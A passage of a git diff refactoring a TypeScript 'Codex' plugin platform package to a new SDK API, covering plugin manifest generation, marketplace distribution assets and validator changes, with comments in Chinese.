platformOptions as unknown as JsonObject, - validateComponentFields: validateCodexComponentFields, - /** prepare 固定 Manifest、最终 Skill 命名空间和 Extension 空位。 */ - prepare: (context) => { - validateGeneratedSkillIds(context, commandGeneratedSkillId); - return { documents: [createManifestDocument(context)], artifacts: [] }; - }, - /** generateBundle 在 Adapter 合并完成后生成 Skills 并序列化 Manifest。 */ - generateBundle: (context) => { - /** 原生 Skill 与 Command/Agent fallback 产生的 Component Artifact。 */ - const componentArtifacts = generateComponentArtifacts(context, commandGeneratedSkillId); + /** 每轮构建只读取 Core 已复制的 sessionOptions。 */ + createSession({ options: sessionOptions }) { return { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - ...componentArtifacts, - ...serializeDocuments(context.documents), - ], + validateComponent: validateCodexComponent, + /** base Package 在生成任何 Asset 前检查最终共享 Skill namespace。 */ + async createPackage({ project, assets, diagnostics }) { + /** idsValid 防止 collision 诊断后继续签发有歧义的 bytes。 */ + const idsValid = validateGeneratedSkillIds(project, diagnostics); + /** manifest 可独立报告空 Skill 项目错误。 */ + const manifest = createPluginDocument({ project, options: sessionOptions, diagnostics }); + /** components 只在最终命名空间无冲突时构建。 */ + const components = idsValid + ? await createCodexComponents(project, assets) + : { assets: Object.freeze([]), compatibility: Object.freeze([]) }; + return { + documents: [manifest.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: manifest.metadata, + }; + }, + /** base/contribution Assets 和 Documents 由 Core 自动进入固定主 Plugin。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: validateCodexPackage, + /** 可选 Marketplace 只继承已验证 primary 的真实 AssetRef。 */ + async createDistributions(context) { + /** marketplace 和 interface 都来自同一个 session options snapshot。 */ + const marketplace = sessionOptions.marketplace as CodexMarketplaceOptions | undefined; + if (marketplace === undefined) + return Object.freeze([]); + return Object.freeze([{ + id: 'marketplace', + type: 'marketplace' as const, + assets: await createMarketplaceAssets( + context, + marketplace, + sessionOptions.interface as CodexInterfaceOptions | undefined, + ), + }]); + }, }; }, - validateBundle: validateCodexBundle, - /** Marketplace Distribution 始终复用已经验证的完整主 Plugin。 */ - generateDistributions: async (context, primaryUnits) => { - /** 工厂未声明 marketplace 时不生成空壳 Distribution。 */ - const marketplace = context.options.marketplace as CodexMarketplaceOptions | undefined; - if (marketplace === undefined) - return []; - if (primaryUnits.length === 0) - throw new Error('Codex Marketplace requires at least one validated primary Plugin.'); - /** 任一主 Plugin 都不能预先占用 Distribution 根清单的保留语义。 */ - if (primaryUnits.some(primary => primary.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH))) { - context.reportDiagnostic({ - code: 'CODEX_MARKETPLACE_PATH_CONFLICT', - severity: 'error', - message: 'The primary Plugin already contains the reserved Marketplace manifest path.', - }); - return []; - } - /** 单项保持根布局,多项由 Platform 确定性放入各自 Plugin 子目录。 */ - const artifacts = await marketplaceArtifacts(context, marketplace, primaryUnits); - return [{ id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts }]; - }, }); } diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/manifest.ts index bb24c91..6334202 100644 --- a/packages/platforms/codex/src/manifest.ts +++ b/packages/platforms/codex/src/manifest.ts @@ -1,14 +1,13 @@ -import { promises as fs } from 'node:fs'; import { - bytesArtifact, stableJson, - type ArtifactInput, - type DeliveryUnit, - type DraftDocument, + type CanonicalProject, + type DistributionAssetInput, + type DistributionContext, type JsonObject, - type PlatformDistributionContext, - type PlatformPrepareContext, -} from '@tokenroll/acplugin'; + type MetadataDispositionInput, + type PackageDocumentInput, + type PluginMetadata, +} from '@tokenroll/acplugin/sdk'; import { hasGeneratedSkills } from './components.js'; import { CODEX_CATEGORIES, @@ -22,7 +21,6 @@ import type { CodexMarketplaceManifest, CodexMarketplaceOptions, CodexMarketplacePlugin, - CodexMarketplaceSource, CodexPlatformOptions, CodexPluginInterface, CodexPluginManifest, @@ -37,49 +35,22 @@ export const PLUGIN_MANIFEST_PATH = '.codex-plugin/plugin.json'; /** Codex Repo Marketplace 清单相对于 Distribution 根的官方固定路径。 */ export const MARKETPLACE_MANIFEST_PATH = '.agents/plugins/marketplace.json'; -/** Codex Platform 写入 Artifact 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:codex' as const; - /** Codex Marketplace 机器名称采用的保守 kebab-case 规则。 */ const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** - * 按 UTF-16 code unit 比较 Codex DeliveryUnit ID,不依赖宿主 locale/ICU。 - * - * @param left 左侧 ID。 - * @param right 右侧 ID。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - /** Codex 官方插件目录当前接受的分类集合。 */ const CATEGORIES = new Set(CODEX_CATEGORIES); /** Codex Marketplace 当前支持的安装策略集合。 */ const INSTALLATION_POLICIES = new Set(CODEX_MARKETPLACE_INSTALLATIONS); -/** - * 校验可选字符串字段。 - * - * @param value Platform 工厂收到的未知候选。 - * @param field 用于错误信息的配置路径。 - */ +/** 校验可选字符串字段。 */ function assertOptionalString(value: unknown, field: string): void { if (value !== undefined && (typeof value !== 'string' || value.trim().length === 0)) throw new TypeError(`Codex ${field} must be a non-empty string.`); } -/** - * 拒绝对象中未由公开类型声明的字段。 - * - * @param value 待检查的配置对象。 - * @param allowed 当前对象层级允许的字段。 - * @param field 配置对象的稳定路径。 - */ +/** 拒绝配置对象中的未知字段。 */ function rejectUnknownFields(value: object, allowed: ReadonlySet, field: string): void { for (const key of Object.keys(value)) { if (!allowed.has(key)) @@ -87,32 +58,24 @@ function rejectUnknownFields(value: object, allowed: ReadonlySet, field: } } -/** - * 校验 Codex Plugin `interface` 平台选项。 - * - * @param options 用户声明的展示选项。 - */ +/** 校验 Codex Plugin interface 平台选项。 */ function validateInterfaceOptions(options: CodexInterfaceOptions | undefined): void { if (options === undefined) return; rejectUnknownFields(options, new Set(CODEX_INTERFACE_OPTION_FIELDS), 'interface'); for (const field of CODEX_INTERFACE_OPTION_FIELDS) { - /** 当前可选 interface 配置值。 */ + /** value 是当前可选 interface 配置。 */ const value = options[field]; if (value === undefined) continue; - /** 共享纯规则返回的第一个稳定问题。 */ + /** issue 复用最终 validator 的纯协议规则。 */ const issue = codexInterfaceFieldIssue(field, value); if (issue !== undefined) throw new TypeError(`Codex ${issue.message}`); } } -/** - * 校验 Codex Marketplace 平台选项。 - * - * @param options 用户声明的 Marketplace 根级选项。 - */ +/** 校验 Codex Marketplace 选项。 */ function validateMarketplaceOptions(options: CodexMarketplaceOptions | undefined): void { if (options === undefined) return; @@ -130,51 +93,22 @@ function validateMarketplaceOptions(options: CodexMarketplaceOptions | undefined } } -/** - * 校验 canonical Component 转换为 Codex Skill 时的 ID 策略。 - * - * @param options 用户声明且可能绕过 TypeScript 的未知嵌套配置。 - */ -function validateGeneratedSkillIdsOptions(options: unknown): void { - if (options === undefined) - return; - if (typeof options !== 'object' || options === null || Array.isArray(options)) - throw new TypeError('Codex generatedSkillIds must be an object.'); - rejectUnknownFields(options, new Set(['command']), 'generatedSkillIds'); - /** 当前唯一开放策略使用已校验的 Plugin name 作为生成前缀。 */ - const command = (options as Readonly>).command; - if (command !== undefined && command !== 'plugin-prefixed') - throw new TypeError('Codex generatedSkillIds.command must be "plugin-prefixed".'); -} - -/** - * 校验 Codex Platform 工厂公开配置。 - * - * @param options 用户传入且可能来自宽类型变量的平台选项。 - */ +/** 校验 Codex Platform 工厂公开配置。 */ export function validatePlatformOptions(options: CodexPlatformOptions): void { - rejectUnknownFields(options, new Set(['strict', 'interface', 'marketplace', 'generatedSkillIds']), 'Platform'); + rejectUnknownFields(options, new Set(['strict', 'interface', 'marketplace']), 'Platform'); if (options.strict !== undefined && typeof options.strict !== 'boolean') throw new TypeError('Codex strict must be a boolean.'); validateInterfaceOptions(options.interface); validateMarketplaceOptions(options.marketplace); - validateGeneratedSkillIdsOptions(options.generatedSkillIds); } -/** - * 根据统一元数据和 Platform 选项创建完整的 Codex 安装界面字段。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 未启用展示字段时返回 undefined,否则返回含官方必填项的 interface。 - */ -function createPluginInterface(context: PlatformPrepareContext): CodexPluginInterface | undefined { - /** 用户声明的 Codex 专属展示选项。 */ - const options = context.options.interface as CodexInterfaceOptions | undefined; - /** 顶层 displayName 必须映射到 Codex interface,即使没有额外平台选项。 */ - if (options === undefined && context.project.metadata.displayName === undefined) +/** @returns 统一元数据与 Platform 选项组成的 Codex 安装界面。 */ +function pluginInterface( + metadata: PluginMetadata, + options: CodexInterfaceOptions | undefined, +): CodexPluginInterface | undefined { + if (options === undefined && metadata.displayName === undefined) return undefined; - /** 统一元数据同时作为缺省展示文案,避免要求作者重复配置。 */ - const metadata = context.project.metadata; return { displayName: metadata.displayName ?? metadata.name, shortDescription: options?.shortDescription ?? metadata.description, @@ -197,17 +131,15 @@ function createPluginInterface(context: PlatformPrepareContext): CodexPluginInte }; } -/** - * 创建由 Platform 所有、Extension 只能增量补充的 Codex Plugin 清单。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 只包含官方字段和固定 Component 根路径的清单。 - */ -function createPluginManifest(context: PlatformPrepareContext): CodexPluginManifest { - /** 所有 Platform 共享且已经由 Core 校验的统一元数据。 */ - const metadata = context.project.metadata; - /** 可选的 Codex 安装界面字段。 */ - const pluginInterface = createPluginInterface(context); +/** @returns 完整 Codex Plugin 清单。 */ +function pluginManifest( + project: CanonicalProject, + options: CodexInterfaceOptions | undefined, +): CodexPluginManifest { + /** metadata 已由 Core config resolver 完整验证。 */ + const metadata = project.metadata; + /** interfaceValue 只在有实际统一或专属展示字段时存在。 */ + const interfaceValue = pluginInterface(metadata, options); return { name: metadata.name, version: metadata.version, @@ -216,231 +148,135 @@ function createPluginManifest(context: PlatformPrepareContext): CodexPluginManif ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), ...(metadata.license === undefined ? {} : { license: metadata.license }), - ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), + ...(metadata.keywords.length === 0 ? {} : { keywords: metadata.keywords }), skills: './skills/', - ...(pluginInterface === undefined ? {} : { interface: pluginInterface }), + ...(interfaceValue === undefined ? {} : { interface: interfaceValue }), }; } -/** - * 报告统一元数据在 Codex Plugin 清单中的最终去向。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - /** 直接写入 Manifest 根节点的统一元数据字段。 */ - const rootFields = ['name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; - for (const field of rootFields) { - if (field === 'name' || field === 'version' || field === 'description' - || context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.${field}`, - reason: `Codex plugin.json supports ${field}.`, - }); - } +/** @returns 当前工程实际 metadata 的完整 disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** outputs 为每个字段声明最终 Manifest 位置。 */ + const outputs: [string, string][] = [ + ['name', `${PLUGIN_MANIFEST_PATH}/name`], + ['version', `${PLUGIN_MANIFEST_PATH}/version`], + ['description', `${PLUGIN_MANIFEST_PATH}/description`], + ]; + for (const field of ['homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + outputs.push([field, `${PLUGIN_MANIFEST_PATH}/${field}`]); } - if (context.project.metadata.displayName !== undefined) { - context.reportMetadata({ - field: 'displayName', - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.interface.displayName`, - reason: 'Codex exposes the unified displayName through its install interface.', - }); + if (metadata.author !== undefined) { + outputs.push(['author.name', `${PLUGIN_MANIFEST_PATH}/author/name`]); + if (metadata.author.email !== undefined) + outputs.push(['author.email', `${PLUGIN_MANIFEST_PATH}/author/email`]); + if (metadata.author.url !== undefined) + outputs.push(['author.url', `${PLUGIN_MANIFEST_PATH}/author/url`]); } + if (metadata.keywords.length > 0) + outputs.push(['keywords', `${PLUGIN_MANIFEST_PATH}/keywords`]); + if (metadata.displayName !== undefined) + outputs.push(['displayName', `${PLUGIN_MANIFEST_PATH}/interface/displayName`]); + return Object.freeze(outputs.map(([field, output]) => Object.freeze({ + field, disposition: 'emitted' as const, output, + reason: `Codex plugin.json supports ${field}.`, + }))); } -/** - * 创建 Codex Platform 的初始 Plugin Manifest Document。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 - */ -export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - if (!hasGeneratedSkills(context.project)) { - context.reportDiagnostic({ - code: 'CODEX_SKILL_REQUIRED', - severity: 'error', +/** 创建由 Core codec 序列化、只开放 Hooks/MCP 的 Plugin Document。 */ +export function createPluginDocument(input: { + readonly project: CanonicalProject; + readonly options: Readonly; + readonly diagnostics: { readonly report: (input: { readonly code: string; readonly severity: 'error'; readonly message: string }) => void }; +}): { readonly document: PackageDocumentInput; readonly metadata: readonly MetadataDispositionInput[] } { + if (!hasGeneratedSkills(input.project)) { + input.diagnostics.report({ + code: 'CODEX_SKILL_REQUIRED', severity: 'error', message: 'A Codex Plugin must contain at least one native or generated Skill.', }); } - return { + /** interfaceOptions 来自 Platform session 深冻 JSON 副本。 */ + const interfaceOptions = input.options.interface as CodexInterfaceOptions | undefined; + /** document 是 Codex base Package 的唯一结构化清单。 */ + const document: PackageDocumentInput = Object.freeze({ id: PLUGIN_MANIFEST_ID, path: PLUGIN_MANIFEST_PATH, format: 'json', - owner: PLATFORM_OWNER, - value: createPluginManifest(context) as unknown as JsonObject, - // Extension 只能填充 Platform 预留的官方根字段,不能覆盖身份、Skills 或 interface。 - extensionPoints: [['hooks'], ['mcpServers']], - }; -} - -/** - * 将完成 Extension patch 的 Codex Document 序列化为 Artifact。 - * - * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 - * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找而不是从物理路径猜测语义的 Plugin 清单。 */ - const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); - if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') - throw new Error('Codex Platform Draft is missing its canonical Plugin Manifest Document.'); - if (documents.length !== 1) - throw new Error('Codex Platform received an unknown Document.'); - return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; -} - -/** 一个已验证主单元在 Codex Marketplace 中的稳定布局。 */ -interface MarketplacePluginLayout { - readonly unit: DeliveryUnit; - readonly root: string; - readonly source: CodexMarketplaceSource; -} - -/** - * 从已验证主单元读取 Codex Plugin 清单。 - * - * @param unit Marketplace Builder 收到的同平台主单元。 - * @returns 已通过基础身份检查的 Plugin 清单。 - */ -async function readPrimaryPluginManifest(unit: DeliveryUnit): Promise { - /** Platform 主单元中的规范 Plugin Manifest Artifact。 */ - const artifact = unit.artifacts.find(candidate => candidate.path === PLUGIN_MANIFEST_PATH); - if (artifact === undefined) - throw new Error(`Codex primary DeliveryUnit "${unit.id}" is missing ${PLUGIN_MANIFEST_PATH}.`); - /** 内存 Artifact 直接复制字节,文件 Artifact 只读取 Core 已验证的普通文件来源。 */ - const bytes = artifact.source.type === 'bytes' - ? artifact.source.value - : await fs.readFile(artifact.source.path); - /** fatal UTF-8 解码阻止替换字符掩盖损坏的主单元清单。 */ - const source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); - /** JSON.parse 结果在读取必填字段前保持 unknown。 */ - const value: unknown = JSON.parse(source); - if (value === null || typeof value !== 'object' || Array.isArray(value)) - throw new Error(`Codex primary DeliveryUnit "${unit.id}" has an invalid Plugin Manifest.`); - /** 经过对象形态检查后的清单候选。 */ - const manifest = value as Record; - if (typeof manifest.name !== 'string' - || typeof manifest.version !== 'string' - || typeof manifest.description !== 'string') { - throw new Error(`Codex primary DeliveryUnit "${unit.id}" has incomplete Plugin metadata.`); - } - return manifest as unknown as CodexPluginManifest; + value: pluginManifest(input.project, interfaceOptions) as unknown as JsonObject, + extensionPoints: Object.freeze([ + Object.freeze(['hooks'] as const), + Object.freeze(['mcpServers'] as const), + ]), + }); + return Object.freeze({ document, metadata: metadataDispositions(input.project.metadata) }); } -/** - * 为一个或多个主单元选择兼容当前单 Plugin 输出的 Codex 布局。 - * - * @param primaryUnits 已由 Core 验证的同 Platform 主单元。 - * @returns 单项保持根目录,多项进入 `plugins//` 的稳定布局。 - */ -function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly MarketplacePluginLayout[] { - if (primaryUnits.length === 0) - throw new Error('Codex Marketplace requires at least one validated primary Plugin.'); - /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ - const units = [...primaryUnits].sort((left, right) => compareCodeUnits(left.id, right.id)); - if (new Set(units.map(unit => unit.id)).size !== units.length) - throw new Error('Codex Marketplace received duplicate primary DeliveryUnit IDs.'); - if (units.length === 1) - return [{ unit: units[0]!, root: '', source: { source: 'local', path: './' } }]; - return units.map(unit => ({ - unit, - root: `plugins/${unit.id}`, - source: { source: 'local', path: `./plugins/${unit.id}` }, - })); -} - -/** - * 创建一个 Codex Marketplace Plugin 条目。 - * - * @param manifest 当前主单元自己的 Plugin 元数据。 - * @param source 当前 Plugin 在 Distribution 根内的本地来源。 - * @param context Platform Distribution 生命周期上下文。 - * @param options Marketplace 级展示与安装选项。 - * @returns 与被引用 Plugin Manifest 身份一致的条目。 - */ -function createMarketplacePlugin( +/** @returns 一个 single-primary Marketplace Plugin 条目。 */ +function marketplacePlugin( manifest: CodexPluginManifest, - source: CodexMarketplaceSource, - context: PlatformDistributionContext, options: CodexMarketplaceOptions, + interfaceOptions: CodexInterfaceOptions | undefined, ): CodexMarketplacePlugin { - /** Platform interface 可为全部 Marketplace 条目提供缺省分类。 */ - const pluginInterface = context.options.interface as CodexInterfaceOptions | undefined; return { name: manifest.name, - source, + source: { source: 'local', path: './' }, policy: { installation: options.policy?.installation ?? 'AVAILABLE', authentication: 'ON_INSTALL', }, - category: options.category ?? pluginInterface?.category ?? 'Other', + category: options.category ?? interfaceOptions?.category ?? 'Other', }; } -/** - * 创建自包含 Codex Marketplace 清单。 - * - * @param context Platform Distribution 生命周期上下文。 - * @param options 用户声明或空对象触发的 Marketplace 选项。 - * @param plugins 已按 Distribution 布局创建的 Plugin 条目。 - * @returns 可直接放入 Repo Marketplace 位置的清单。 - */ -export function createMarketplaceManifest( - context: PlatformDistributionContext, - options: CodexMarketplaceOptions, - plugins: readonly CodexMarketplacePlugin[], -): CodexMarketplaceManifest { - /** Marketplace 根展示信息仍归当前 Platform 工厂上下文所有。 */ - const metadata = context.project.metadata; - return { - name: options.name ?? `${metadata.name}-marketplace`, - interface: { - displayName: options.displayName ?? `${metadata.displayName ?? metadata.name} Marketplace`, - }, - plugins, - }; +/** 从已验证 primary 的真实 AssetRef 读取 Plugin 清单。 */ +async function readPrimaryManifest(context: DistributionContext): Promise { + /** manifestAsset 必须命中 Core codec 创建的固定路径。 */ + const manifestAsset = context.primary.assets.find(asset => asset.path === PLUGIN_MANIFEST_PATH); + if (manifestAsset === undefined) + throw new Error(`Codex primary Package is missing ${PLUGIN_MANIFEST_PATH}.`); + /** value 在读取必填字段前保持未知。 */ + const value: unknown = JSON.parse(new TextDecoder('utf-8', { fatal: true }).decode( + await context.assets.read(manifestAsset.asset), + )); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('Codex primary Package has an invalid Plugin Manifest.'); + /** manifest 只在三个身份字段完成检查后进入 Marketplace。 */ + const manifest = value as Record; + if (typeof manifest.name !== 'string' || typeof manifest.version !== 'string' || typeof manifest.description !== 'string') + throw new Error('Codex primary Package has incomplete Plugin metadata.'); + return manifest as unknown as CodexPluginManifest; } -/** - * 组合已验证主单元并创建完整 Codex Marketplace Distribution Artifact。 - * - * @param context Platform Distribution 生命周期上下文。 - * @param options 用户声明的 Marketplace 选项。 - * @param primaryUnits 已验证的同 Platform 主单元数组。 - * @returns 自包含 Plugin 内容和固定 Marketplace 清单。 - */ -export async function marketplaceArtifacts( - context: PlatformDistributionContext, +/** 从 validated primary 创建保留全部 AssetRef 身份的 Codex Marketplace。 */ +export async function createMarketplaceAssets( + context: DistributionContext, options: CodexMarketplaceOptions, - primaryUnits: readonly DeliveryUnit[], -): Promise { - /** 当前输入数量对应的兼容布局。 */ - const layouts = marketplaceLayouts(primaryUnits); - /** Marketplace 中按布局顺序生成的安装条目。 */ - const plugins: CodexMarketplacePlugin[] = []; - /** Distribution 中复用主单元 source 与 mode 的完整 Artifact。 */ - const artifacts: ArtifactInput[] = []; - /** layout 表示当前主 Plugin 及其 Distribution 安装根。 */ - for (const layout of layouts) { - /** 当前主单元已经验证的 Plugin Manifest。 */ - const manifest = await readPrimaryPluginManifest(layout.unit); - plugins.push(createMarketplacePlugin(manifest, layout.source, context, options)); - /** artifact 表示当前 Plugin 要原样复制的文件。 */ - for (const artifact of layout.unit.artifacts) { - artifacts.push({ - path: layout.root === '' ? artifact.path : `${layout.root}/${artifact.path}`, - source: artifact.source, - mode: artifact.mode, - }); - } + interfaceOptions: CodexInterfaceOptions | undefined, +): Promise { + if (context.primary.assets.some(asset => asset.path === MARKETPLACE_MANIFEST_PATH)) { + context.diagnostics.report({ + code: 'CODEX_MARKETPLACE_PATH_CONFLICT', severity: 'error', + message: 'The primary Plugin already contains the reserved Marketplace manifest path.', + }); + return Object.freeze([]); } - artifacts.push(bytesArtifact( - MARKETPLACE_MANIFEST_PATH, - stableJson(createMarketplaceManifest(context, options, plugins)), - )); - return artifacts; + /** manifest 已通过 primary candidate validator。 */ + const manifest = await readPrimaryManifest(context); + /** marketplace 只表达当前 BuildSession 的单一 primary。 */ + const marketplace: CodexMarketplaceManifest = { + name: options.name ?? `${context.project.metadata.name}-marketplace`, + interface: { + displayName: options.displayName ?? `${context.project.metadata.displayName ?? context.project.metadata.name} Marketplace`, + }, + plugins: [marketplacePlugin(manifest, options, interfaceOptions)], + }; + /** marketplaceAsset 是本 Distribution callback 唯一新签发的 bytes。 */ + const marketplaceAsset = await context.assets.fromBytes({ + bytes: stableJson(marketplace as unknown as JsonObject), + origin: { operation: 'marketplace-manifest', subjects: ['distribution:marketplace'] }, + }); + return Object.freeze([ + ...context.primary.assets.map(asset => Object.freeze({ path: asset.path, asset: asset.asset })), + Object.freeze({ path: MARKETPLACE_MANIFEST_PATH, asset: marketplaceAsset }), + ]); } diff --git a/packages/platforms/codex/src/types.ts b/packages/platforms/codex/src/types.ts index f4a4c7d..a011d32 100644 --- a/packages/platforms/codex/src/types.ts +++ b/packages/platforms/codex/src/types.ts @@ -1,4 +1,4 @@ -import type { JsonValue, PluginAuthor } from '@tokenroll/acplugin'; +import type { JsonValue, PluginAuthor } from '@tokenroll/acplugin/sdk'; import type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; export type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; @@ -35,20 +35,11 @@ export interface CodexMarketplaceOptions { readonly policy?: CodexMarketplacePolicyOptions; } -/** Command 转换为 Codex Skill 时可选择的确定性 ID 策略。 */ -export type CodexCommandGeneratedSkillIdStrategy = 'plugin-prefixed'; - -/** Codex 从 canonical Component 生成 Skill ID 时的 opt-in 策略。 */ -export interface CodexGeneratedSkillIdsOptions { - readonly command?: CodexCommandGeneratedSkillIdStrategy; -} - /** 创建 Codex Platform 时可声明的公开选项。 */ export interface CodexPlatformOptions { readonly strict?: boolean; readonly interface?: CodexInterfaceOptions; readonly marketplace?: CodexMarketplaceOptions; - readonly generatedSkillIds?: CodexGeneratedSkillIdsOptions; } /** Codex Plugin 清单中面向安装界面的完整展示区域。 */ diff --git a/packages/platforms/codex/src/validator.ts b/packages/platforms/codex/src/validator.ts index 761b232..24bdef1 100644 --- a/packages/platforms/codex/src/validator.ts +++ b/packages/platforms/codex/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { imageSize } from 'image-size'; import { parseDocument } from 'yaml'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; @@ -16,6 +16,9 @@ import { parseCodexSvgDimensions, } from './protocol.js'; +/** Codex validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + /** Codex Plugin Manifest 允许出现的当前官方根字段。 */ const PLUGIN_FIELDS = new Set([ 'id', 'name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords', @@ -100,6 +103,17 @@ const HOOK_HANDLER_FIELDS = new Set([ 'additionalContextLimit', 'async', ]); +/** Codex 本地 stdio MCP descriptor 允许的字段。 */ +const MCP_STDIO_FIELDS = new Set(['command', 'args', 'cwd', 'env', 'env_vars']); + +/** Codex 远程 HTTP MCP descriptor 允许的字段。 */ +const MCP_HTTP_FIELDS = new Set([ + 'url', 'bearer_token_env_var', 'scopes', 'http_headers', 'env_http_headers', +]); + +/** Codex 运行时环境变量名称的保守规则。 */ +const ENV_NAME_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; + /** JSON 对象的运行时可索引类型。 */ type JsonRecord = Record; @@ -116,7 +130,7 @@ function isRecord(value: unknown): value is JsonRecord { /** * 向 Core 提交 Codex 候选校验错误。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param code 稳定诊断码。 * @param message 不包含宿主绝对路径的错误信息。 * @param fieldPath 可选的清单字段位置。 @@ -127,7 +141,7 @@ function report( message: string, fieldPath?: readonly (string | number)[], ): void { - context.reportDiagnostic({ + context.diagnostics.report({ code, severity: 'error', message, @@ -138,26 +152,26 @@ function report( /** * 从候选安装根读取并解析 JSON 文件。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifactPath 候选根内的规范 Artifact 路径。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assetPath 候选根内的规范 Asset 路径。 * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 */ async function readJson( context: PlatformValidateContext, - artifactPath: string, + assetPath: string, ): Promise { try { /** 从 Core 已安全物化的候选根读取清单文本。 */ - const source = await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8'); + const source = await fs.readFile(path.join(context.candidate.root, assetPath), 'utf8'); /** JSON.parse 的未知结果仍需验证顶层对象形态。 */ const value: unknown = JSON.parse(source); if (!isRecord(value)) { - report(context, 'CODEX_MANIFEST_OBJECT_REQUIRED', `${artifactPath} must contain a JSON object.`); + report(context, 'CODEX_MANIFEST_OBJECT_REQUIRED', `${assetPath} must contain a JSON object.`); return undefined; } return value; } catch { - report(context, 'CODEX_MANIFEST_READ_FAILED', `${artifactPath} must be present and contain valid JSON.`); + report(context, 'CODEX_MANIFEST_READ_FAILED', `${assetPath} must be present and contain valid JSON.`); return undefined; } } @@ -165,15 +179,15 @@ async function readJson( /** * 解析 YAML 并要求顶层为普通映射。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param source 待解析的 YAML 文本。 - * @param artifactPath 用于稳定诊断的相对 Artifact 路径。 + * @param assetPath 用于稳定诊断的相对 Asset 路径。 * @returns 无语法错误的 JSON 兼容对象,否则返回 undefined。 */ function parseYamlObject( context: PlatformValidateContext, source: string, - artifactPath: string, + assetPath: string, ): JsonRecord | undefined { try { /** 保留 YAML parser errors 以拒绝重复键和其他不规范输入。 */ @@ -183,12 +197,12 @@ function parseYamlObject( /** YAML 文档转换后的未知顶层值。 */ const value: unknown = document.toJSON(); if (!isRecord(value)) { - report(context, 'CODEX_YAML_OBJECT_REQUIRED', `${artifactPath} must contain a YAML mapping.`); + report(context, 'CODEX_YAML_OBJECT_REQUIRED', `${assetPath} must contain a YAML mapping.`); return undefined; } return value; } catch { - report(context, 'CODEX_YAML_INVALID', `${artifactPath} must contain valid YAML.`); + report(context, 'CODEX_YAML_INVALID', `${assetPath} must contain valid YAML.`); return undefined; } } @@ -214,61 +228,61 @@ function isSafePluginReference(reference: string): boolean { } /** - * 判断 Artifact 集合是否包含被引用文件或目录。 + * 判断 Asset 集合是否包含被引用文件或目录。 * - * @param artifacts 当前 DeliveryUnit 的规范路径集合。 + * @param assets 当前 Package 的规范路径集合。 * @param reference 已通过安全规则验证的 Manifest 引用。 * @returns 精确文件或目录前缀存在时返回 true。 */ -function referenceExists(artifacts: ReadonlySet, reference: string): boolean { - /** 清单引用去掉 `./` 和结尾斜线后的 Artifact 路径。 */ +function referenceExists(assets: ReadonlySet, reference: string): boolean { + /** 清单引用去掉 `./` 和结尾斜线后的 Asset 路径。 */ const target = reference.slice(2).replace(/\/+$/u, ''); - if (artifacts.has(target)) + if (assets.has(target)) return true; - for (const artifact of artifacts) { - if (artifact.startsWith(`${target}/`)) + for (const asset of assets) { + if (asset.startsWith(`${target}/`)) return true; } return false; } /** - * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Artifact 集合。 + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 - * @returns 去掉 Plugin 根前缀后的 Artifact 路径集合。 + * @returns 去掉 Plugin 